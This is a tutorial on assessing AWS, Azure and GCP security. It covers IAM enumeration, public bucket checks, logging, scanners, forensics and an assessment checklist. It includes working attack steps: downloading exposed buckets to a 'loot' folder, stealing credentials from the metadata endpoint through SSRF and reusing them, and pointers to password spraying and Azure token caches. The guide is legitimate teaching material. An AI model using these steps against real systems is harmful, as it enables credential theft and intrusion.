kavklaw@llm $ cat cloud-security-guide.md
โฑ๏ธ 30 min read ยท Navigate cloud security across the big three providers โ from IAM to misconfig exploitation
You'll need CLI access to whichever cloud provider you're assessing. Install and authenticate before following along:
AWS CLI:
# Install (Linux/macOS)
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o awscliv2.zip
unzip awscliv2.zip && sudo ./aws/install
# Configure with your credentials
aws configure
# Prompts for: Access Key ID, Secret Access Key, Region, Output format
# Keys come from IAM โ Users โ Security Credentials โ Create Access Key
Azure CLI:
# Install (Linux)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Login (opens browser for OAuth)
az login
GCP SDK:
# Install
curl https://sdk.cloud.google.com | bash
exec -l $SHELL # Restart shell
# Authenticate
gcloud init # Interactive setup
gcloud auth login # Browser-based login
Security tools referenced in this guide: ScoutSuite (pip install scoutsuite), Prowler (pip install prowler), and Pacu (clone from GitHub). You don't need all of these upfront โ install as needed.
Assessing a cloud environment for the first time? These are the first commands to run in any cloud security assessment โ they answer "who am I?", "what's exposed?", and "how bad is it?":
# 1. Understand the scope โ which cloud, which accounts, which services?
aws sts get-caller-identity # Who am I in AWS?
az account show # Who am I in Azure?
gcloud config list # Who am I in GCP?
# 2. Check for public storage (the #1 cloud misconfiguration)
# AWS S3:
aws s3 ls s3://target-bucket --no-sign-request # Try anonymous access
aws s3 ls s3://target-bucket # Try authenticated access
# Azure Blob Storage:
curl "https://targetaccount.blob.core.windows.net/container?restype=container&comp=list"
# GCP Cloud Storage:
gsutil ls gs://target-bucket
# 3. Enumerate IAM (what can we access?)
# AWS:
aws iam get-user
aws iam list-attached-user-policies --user-name $(aws iam get-user --query User.UserName --output text)
# 4. Run an automated scanner
# ScoutSuite (multi-cloud):
scout aws # Full AWS assessment
scout azure # Full Azure assessment
# Prowler (AWS-focused):
prowler aws
The most important concept in cloud security: the cloud provider and the customer share responsibility for security, but the split depends on the service type. There are three main types: IaaS (Infrastructure as a Service โ you rent virtual machines, like EC2), PaaS (Platform as a Service โ you deploy code and the provider handles the server, like Lambda or Heroku), and SaaS (Software as a Service โ you just use the app, like Gmail or Office 365).
IaaS PaaS SaaS
(EC2, VMs) (Lambda, RDS) (Office 365)
โโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโโโโโโโโโ
Customer โ Data โ โ Data โ โ Data โ
Manages โ Application โ โ Application โ โ โ
โ Runtime โ โ โ โ โ
โ OS โ โ โ โ โ
โ Network* โ โ โ โ โ
โโโโโโโโโโโโโโค โโโโโโโโโโโโโโค โโโโโโโโโโโโโโค
Provider โ Hypervisor โ โ Runtime โ โ Application โ
Manages โ Network โ โ OS โ โ Runtime โ
โ Storage โ โ Network โ โ OS โ
โ Facilities โ โ Storage โ โ Network โ
โโโโโโโโโโโโโโ โ Facilities โ โ Storage โ
โโโโโโโโโโโโโโ โ Facilities โ
โโโโโโโโโโโโโโ
Customer always manages: data, identity, access, client devices. Provider always manages: physical security, global infrastructure.
Key takeaway: As you move from IaaS โ PaaS โ SaaS, the customer's security responsibility decreases but never reaches zero (you always own data and access).
The most common cloud security failures happen in areas the customer is responsible for: misconfigured access policies, exposed storage buckets, overly permissive IAM roles, and unpatched VMs. In other words, the cloud provider keeps the building secure โ but if you leave the door unlocked, that's on you.
IAM (Identity and Access Management) controls who can do what in your AWS account. Think of it as the permission system for all of AWS. Every security assessment starts here because misconfigured IAM is how most cloud breaches happen.
# IAM Enumeration
# โโโโโโโโโโโโโโโโ
# Who am I?
aws sts get-caller-identity
# Returns: Account ID, ARN, UserId
# What policies are attached to me?
aws iam list-attached-user-policies --user-name myuser
aws iam list-user-policies --user-name myuser
# What groups am I in?
aws iam list-groups-for-user --user-name myuser
# List all users
aws iam list-users
# List all roles (including service roles)
aws iam list-roles | jq '.Roles[].RoleName'
# Get specific policy details
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v1
# Check for inline policies (often overly permissive)
aws iam list-user-policies --user-name admin
aws iam get-user-policy --user-name admin --policy-name AdminAccess
# === IAM Security Best Practices ===
# 1. Never use root account for daily operations
# 2. Enable MFA on all accounts (especially root)
# 3. Use IAM roles instead of long-lived access keys
# 4. Apply least privilege โ use IAM Access Analyzer
# 5. Rotate access keys regularly
# 6. Use AWS Organizations SCPs (Service Control Policies) for guardrails
# SCPs set maximum permission boundaries across all accounts in your org
S3 (Simple Storage Service) is AWS's cloud file storage. Files are organized into "buckets" (like folders). S3 is where companies store backups, logs, assets, and data โ making misconfigured buckets a goldmine for attackers.
# S3 Misconfiguration โ The #1 AWS security issue
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Check for public buckets (anonymous access)
aws s3 ls s3://target-company-backup --no-sign-request
# If this works โ bucket is PUBLIC โ critical finding
# List bucket contents
aws s3 ls s3://target-bucket/ --recursive --no-sign-request
# Look for: backups, credentials, source code, PII
# Download everything from a public bucket
aws s3 sync s3://target-bucket ./loot --no-sign-request
# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket
# Look for: AllUsers (public), AuthenticatedUsers (any AWS account)
# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket
# Common S3 naming patterns to enumerate:
# [company]-backup, [company]-data, [company]-logs
# [company]-assets, [company]-dev, [company]-staging
# [company]-prod, [company]-config
# S3 bucket finder tools:
# - cloud_enum: https://github.com/initstring/cloud_enum
# - S3Scanner: https://github.com/sa7mon/S3Scanner
# === S3 Security Best Practices ===
# 1. Block all public access (S3 Block Public Access)
# 2. Enable encryption (SSE-S3 or SSE-KMS)
# 3. Enable versioning (recover from accidental deletion)
# 4. Enable access logging
# 5. Use bucket policies with explicit deny
CloudTrail is AWS's built-in audit log. Every action anyone takes in your AWS account (creating a server, accessing a file, changing permissions) is recorded as an API call. It's the equivalent of security camera footage for your cloud environment.
# CloudTrail is AWS's audit log โ logs management events by default (data events and Insights require explicit configuration)
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Check if CloudTrail is enabled
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name default
# Search for specific events
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin
# Critical events to monitor:
# - ConsoleLogin (successful and failed)
# - CreateUser, AttachUserPolicy (privilege escalation)
# - PutBucketPolicy (S3 exposure)
# - StopLogging (attacker disabling CloudTrail!)
# - CreateAccessKey (backdoor credentials)
# - AssumeRole (role chaining, privilege escalation)
# Attack detection: Check for CloudTrail being disabled
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=StopLogging
# If someone stopped logging โ CRITICAL indicator of compromise
--no-sign-request flag test when listing an S3 bucket?--no-sign-request makes the S3 request without any AWS credentials, effectively testing as an anonymous internet user. If the command succeeds, the bucket is publicly accessible to anyone on the internet โ a critical security misconfiguration. This is the first check to perform when assessing S3 security.# Azure AD / Entra ID โ Identity is the perimeter in Azure
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Enumerate current context
az account show
az ad signed-in-user show
# List all users
az ad user list --query "[].{Name:displayName, UPN:userPrincipalName, Enabled:accountEnabled}" -o table
# List all groups
az ad group list --query "[].{Name:displayName, Id:id}" -o table
# List group members
az ad group member list --group "Domain Admins" -o table
# List all applications (service principals)
az ad app list --all --query "[].{Name:displayName, AppId:appId}" -o table
# Check role assignments
az role assignment list --all --query "[].{Principal:principalName, Role:roleDefinitionName, Scope:scope}" -o table
# === Azure AD Attack Vectors ===
# 1. Password spray against Azure AD
# (careful โ account lockout policies)
# 2. Token theft from Azure CLI cached tokens
# ~/.azure/accessTokens.json (older versions)
# ~/.azure/msal_token_cache.json (newer)
# 3. Consent phishing (malicious OAuth apps)
# 4. Managed identity abuse (from compromised VMs)
# Azure Blob Storage โ equivalent to S3 buckets
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Check for publicly accessible containers
curl "https://[accountname].blob.core.windows.net/[container]?restype=container&comp=list"
# If this returns XML listing โ container is PUBLIC
# Common storage account naming patterns:
# [company]storage, [company]backups, [company]data
# [company]dev, [company]prod, [company]logs
# Enumerate storage accounts
az storage account list --query "[].{Name:name, RG:resourceGroup, Kind:kind}" -o table
# List containers in a storage account
az storage container list --account-name targetaccount -o table
# Check container access level
az storage container show --name targetcontainer --account-name targetaccount --query publicAccess
# Access levels:
# null / None โ private (good)
# blob โ individual blobs are public if you know the URL
# container โ entire container listing is public (bad!)
# === Azure Storage Security ===
# 1. Disable anonymous access (default in new accounts since 2023)
# 2. Use Azure AD authentication instead of storage keys
# 3. Enable soft delete and versioning
# 4. Use Private Endpoints (no public internet access)
# 5. Rotate storage account keys
# ROADtools by Dirk-jan Mollema โ thorough Azure AD enumeration
# https://github.com/dirkjanm/ROADtools
# Authenticate
roadrecon auth -u [email protected] -p 'Password123'
# Gather all Azure AD data
roadrecon gather
# Launch interactive web interface
roadrecon gui
# Browse users, groups, apps, roles, devices in a web UI
# Export data for analysis
roadrecon dump
# GCP (Google Cloud Platform) Security Basics
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Check current authentication
gcloud auth list
gcloud config list
gcloud projects list
# Service account enumeration
gcloud iam service-accounts list
gcloud iam service-accounts keys list --iam-account [email protected]
# IAM policy for the project
gcloud projects get-iam-policy [PROJECT_ID]
# List storage buckets
gsutil ls
gsutil ls -la gs://[bucket-name]
# Check bucket IAM
gsutil iam get gs://[bucket-name]
# Test public access
curl "https://storage.googleapis.com/[bucket-name]/"
# === GCP-Specific Attack Vectors ===
# 1. Default service account with Editor role (too permissive)
# 2. Metadata server exploitation (same as AWS: 169.254.169.254)
# 3. Service account key files left in repos
# 4. Cloud Function environment variable exposure
# 5. Compute Engine default service account abuse
# GCP Metadata endpoint:
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/"
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
These misconfigurations are behind most cloud security incidents:
* wildcard in IAM policies, AdministratorAccess on users. Fix: Least privilege, use IAM Access Analyzer.0.0.0.0/0 (meaning "open to the entire internet") on SSH (22), RDP (3389). Fix: Restrict to known IPs, use VPN/bastion hosts.The Instance Metadata Service (IMDS) is one of the most dangerous cloud attack vectors. Every cloud VM has a special internal URL (169.254.169.254) where it can ask the cloud provider for its own credentials and configuration. If an attacker can trick your application into making requests to this URL (through an SSRF vulnerability โ Server-Side Request Forgery, where you make a server fetch a URL of your choosing), they can steal those credentials.
# === AWS EC2 Metadata (IMDSv1 โ vulnerable to SSRF) ===
# Base URL: http://169.254.169.254/latest/meta-data/
# Get instance identity
curl http://169.254.169.254/latest/meta-data/instance-id
curl http://169.254.169.254/latest/meta-data/hostname
# STEAL IAM ROLE CREDENTIALS (the critical attack)
# Step 1: Get the role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: my-ec2-role
# Step 2: Get temporary credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role
# Output: AccessKeyId, SecretAccessKey, Token (valid for hours!)
# User data (often contains secrets, startup scripts)
curl http://169.254.169.254/latest/user-data
# May contain: passwords, API keys, database connection strings
# === IMDSv2 (secure) โ requires token ===
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/
# === Azure Instance Metadata ===
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns: access_token for Azure API
# === GCP Metadata ===
curl -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: access_token for GCP APIs
# === SSRF โ Metadata Exploitation Flow ===
# 1. Find SSRF vulnerability in web app on cloud VM
# 2. Request http://169.254.169.254/... through the SSRF
# 3. Steal temporary credentials (AWS) or access tokens (Azure/GCP)
# 4. Use stolen credentials from your machine:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws s3 ls # Now you have the instance's permissions!
๐ก Pro Tip: When testing web applications running on cloud infrastructure, always test for SSRF withhttp://169.254.169.254/as the target URL. This single vulnerability can escalate from a web app bug to full cloud account compromise. On AWS, also tryhttp://[fd00:ec2::254]/for IPv6 metadata access.
Lambda (AWS), Cloud Functions (GCP), and Azure Functions are "serverless" compute services โ you upload code and the cloud provider runs it on demand, without you managing any servers. Containers (Docker) package applications with their dependencies into isolated units. Both introduce unique security challenges.
# === Lambda / Cloud Functions Security ===
# Common issues:
# 1. Over-privileged execution roles
# Lambda with s3:* or * permissions = bad
# 2. Secrets in environment variables
# Lambda env vars are visible to anyone with lambda:GetFunction
aws lambda get-function --function-name MyFunction
# Returns: environment variables (including secrets!)
# Fix: Use Secrets Manager or Parameter Store instead
# 3. Event injection
# User input flows into Lambda โ SQL injection, command injection
# Same as traditional web apps, just in a serverless wrapper
# 4. Dependency vulnerabilities
# Lambda packages include third-party libraries
# Scan with: snyk, npm audit, pip-audit
# === Container Security (ECS/EKS=AWS, AKS=Azure, GKE=GCP container services) ===
# Common issues:
# 1. Running as root in containers
# Containers should run as non-root users
# 2. Privileged containers
# --privileged flag gives container full host access
# 3. Base image vulnerabilities
# Use minimal base images, scan with Trivy/Grype
# 4. Secrets in container images
# Docker layers preserve history โ secrets in build steps leak
docker history --no-trunc suspicious_image
# 5. Exposed container registries
# ECR, ACR, GCR may be publicly accessible
# Scan container images for known vulnerabilities:
trivy image myapp:latest # Trivy โ open source vulnerability scanner
grype myapp:latest # Grype โ another popular image scanner
# Check for exposed Docker daemon:
curl http://target:2375/containers/json
# If this works โ Docker API is exposed โ full container compromise
# === Multi-Cloud Scanners ===
# ScoutSuite โ thorough cloud security audit
# https://github.com/nccgroup/ScoutSuite
pip install scoutsuite
scout aws # Audit AWS account
scout azure --cli # Audit Azure subscription
scout gcp --user-account # Audit GCP project
# Generates HTML report with findings categorized by severity
# CloudSploit โ open source cloud security scanner
# https://github.com/aquasecurity/cloudsploit
node index.js --config ./config.js
# === AWS-Specific Tools ===
# Prowler โ AWS security best practices assessment
# https://github.com/prowler-cloud/prowler
prowler aws # Full CIS benchmark assessment
prowler aws -c check11 # Specific check
prowler aws --severity critical # Only critical findings
# Checks against CIS AWS Foundations Benchmark
# Pacu โ AWS exploitation framework (like Metasploit for AWS)
# https://github.com/RhinoSecurityLabs/pacu
python3 pacu.py
# Modules: iam__enum_permissions, s3__bucket_finder,
# ec2__enum, lambda__enum, iam__privesc_scan
# enumerate-iam โ quick IAM permissions enumeration
# https://github.com/andresriancho/enumerate-iam
python enumerate-iam.py --access-key AKIA... --secret-key ...
# === Azure-Specific Tools ===
# ROADtools โ Azure AD enumeration and analysis
# https://github.com/dirkjanm/ROADtools
roadrecon auth -u [email protected] -p password
roadrecon gather
roadrecon gui
# AzureHound โ BloodHound for Azure
# Maps Azure AD attack paths
azurehound list -u [email protected] -p password -t company.onmicrosoft.com
# MicroBurst โ Azure security assessment tools
# https://github.com/NetSPI/MicroBurst
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base company
Invoke-EnumerateAzureSubDomains -Base company
# === Credential Scanning ===
# truffleHog โ find secrets in git repos
trufflehog git https://github.com/company/repo
# gitleaks โ detect hardcoded secrets
gitleaks detect --source /path/to/repo
# AWS credential scanner:
grep -r "AKIA" /path/to/code # AWS access key ID pattern
# Cloud forensics differs from traditional forensics:
# - No physical access to hardware
# - Volatile resources (instances can be terminated)
# - Logs are your primary evidence source
# - Snapshots replace disk imaging
# === AWS Forensics Workflow ===
# 1. Preserve the instance (DON'T terminate it)
# Tag it as under investigation
aws ec2 create-tags --resources i-12345 --tags Key=Status,Value=UnderInvestigation
# 2. Isolate the instance (quarantine security group)
aws ec2 create-security-group --group-name quarantine --description "IR quarantine"
# Modify: no inbound, no outbound rules
aws ec2 modify-instance-attribute --instance-id i-12345 --groups sg-quarantine
# 3. Create EBS snapshots (forensic disk image)
# EBS = Elastic Block Store (the virtual hard drive attached to your EC2 instance)
aws ec2 create-snapshot --volume-id vol-12345 --description "IR forensic copy"
# 4. Capture memory (if needed)
# Use SSM (Systems Manager) to run a memory capture tool on the instance
# Or create an AMI (Amazon Machine Image โ a full copy of the instance)
# 5. Collect CloudTrail logs
aws cloudtrail lookup-events \
--start-time 2024-03-01T00:00:00Z \
--end-time 2024-03-15T23:59:59Z
# 6. Collect VPC Flow Logs
# VPC = Virtual Private Cloud (your isolated cloud network)
# Flow Logs record all network traffic in/out of your VPC
# Already stored in CloudWatch or S3 if enabled
# 7. Analyze in an isolated forensics account
# Mount EBS snapshot in a separate forensics AWS account
# Analyze without risking contamination of production
Phase 1: Reconnaissance โ Identify cloud provider(s) in use, enumerate public-facing cloud resources (S3, Azure Blobs, GCS), scan for exposed cloud services (Docker APIs, Kubernetes), search GitHub/GitLab for leaked credentials.
Phase 2: Identity & Access โ Enumerate IAM users, roles, groups, policies. Identify overprivileged accounts. Check MFA enforcement. Look for privilege escalation paths. Test credential rotation.
Phase 3: Network Security โ Review security groups/NSGs (Network Security Groups โ Azure's equivalent of firewall rules). Check for public-facing resources that shouldn't be. Review VPC/VNet (Virtual Network) configuration and peering. Test network segmentation.
Phase 4: Data Security โ Audit storage bucket permissions (public access), check encryption at rest and in transit, review database security, assess backup and retention policies.
Phase 5: Logging & Monitoring โ Verify CloudTrail/Azure Activity Log/Cloud Audit Logs enabled. Check monitoring and alerting (GuardDuty โ AWS's built-in threat detection service, Sentinel โ Azure's cloud SIEM). Verify log retention. Test detection capabilities.
Phase 6: Compute Security โ Review instance/VM configurations, check IMDSv2 enforcement, audit Lambda/Function permissions, scan container images, check for exposed management interfaces.
โ Mistake #1: "The cloud provider handles security."
The shared responsibility model means you're responsible for data, access, and configuration. Most cloud breaches are due to customer misconfiguration, not provider vulnerability.
โ Mistake #2: Using long-lived access keys instead of roles.
AWS access keys don't expire and are frequently leaked in code repositories. Use IAM roles with temporary credentials wherever possible. If you must use keys, rotate them regularly.
โ Mistake #3: Not enabling logging from day one.
CloudTrail, VPC Flow Logs, and GuardDuty should be enabled before deploying anything. You can't investigate a breach if you have no logs. Retroactive log collection is impossible.
โ Mistake #4: Overprivileged IAM policies.
"AdministratorAccess" on every user or"Effect": "Allow", "Action": "*", "Resource": "*"is depressingly common. Use least privilege โ start with zero permissions and add only what's needed.
โ Mistake #5: Ignoring IMDSv1.
If your EC2 instances use IMDSv1 and run any web application, an SSRF vulnerability can lead to full credential theft. Enforce IMDSv2 across all instances โ it's a simple configuration change that eliminates an entire class of attacks.
โ Mistake #6: Hardcoding secrets in code or environment variables.
Credentials in source code, .env files, or Lambda environment variables will eventually be exposed. Use AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager instead.
You discover an SSRF vulnerability in a web application
running on an AWS EC2 instance. The application allows
you to specify a URL and it fetches the content.
The instance is using IMDSv1.
169.254.169.254. With IMDSv1, a simple GET request to /latest/meta-data/iam/security-credentials/[role-name] returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token). First request /latest/meta-data/iam/security-credentials/ to get the role name, then use it in the full path. These stolen credentials can be used from anywhere to access AWS services with the instance's permissions.aws sts get-caller-identity returns your AWS Account ID, IAM User/Role ARN, and UserId. It's the first command to run in any AWS security assessment โ it tells you who you are and what account you're operating in. It works even with minimal permissions and is equivalent to running whoami in a traditional environment.